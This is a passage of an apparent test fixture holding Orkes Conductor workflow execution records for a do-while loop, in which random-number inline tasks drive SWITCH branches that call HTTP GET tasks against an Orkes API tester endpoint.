workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98d96bad-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 4, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__7", + retryCount: 0, + seq: 72, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861052, + startTime: 1713413861052, + endTime: 1713413861070, + updateTime: 1713413861052, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98ea3490-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 4, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__8", + retryCount: 0, + seq: 75, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861161, + startTime: 1713413861161, + endTime: 1713413861175, + updateTime: 1713413861161, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98fafd73-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__9", + retryCount: 0, + seq: 80, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861496, + startTime: 1713413861497, + endTime: 1713413861510, + updateTime: 1713413861497, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "992e4278-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 1, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__10", + retryCount: 0, + seq: 85, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861829, + startTime: 1713413861829, + endTime: 1713413861842, + updateTime: 1713413861829, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9960760d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + switch_ref_1: { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + switchCaseValue: 4, + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref_1__6", + retryCount: 0, + seq: 70, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413860963, + startTime: 1713413860963, + endTime: 1713413860963, + updateTime: 1713413860963, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98dcc70e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref_1__1", + retryCount: 0, + seq: 46, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859413, + startTime: 1713413859413, + endTime: 1713413859413, + updateTime: 1713413859413, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97ef80c6-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__2", + retryCount: 0, + seq: 50, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859637, + startTime: 1713413859637, + endTime: 1713413859637, + updateTime: 1713413859637, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9811fcea-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__3", + retryCount: 0, + seq: 55, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859968, + startTime: 1713413859968, + endTime: 1713413859968, + updateTime: 1713413859968, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98447e9f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__4", + retryCount: 0, + seq: 60, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413860295, + startTime: 1713413860295, + endTime: 1713413860295, + updateTime: 1713413860295, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98768b24-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__5", + retryCount: 0, + seq: 65, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413860629, + startTime: 1713413860629, + endTime: 1713413860629, + updateTime: 1713413860629, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98a98209-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + switchCaseValue: 4, + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref_1__6", + retryCount: 0, + seq: 70, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413860963, + startTime: 1713413860963, + endTime: 1713413860963, + updateTime: 1713413860963, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98dcc70e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + switchCaseValue: 4, + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref_1__7", + retryCount: 0, + seq: 73, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861076, + startTime: 1713413861076, + endTime: 1713413861076, + updateTime: 1713413861076, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98ee0521-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", 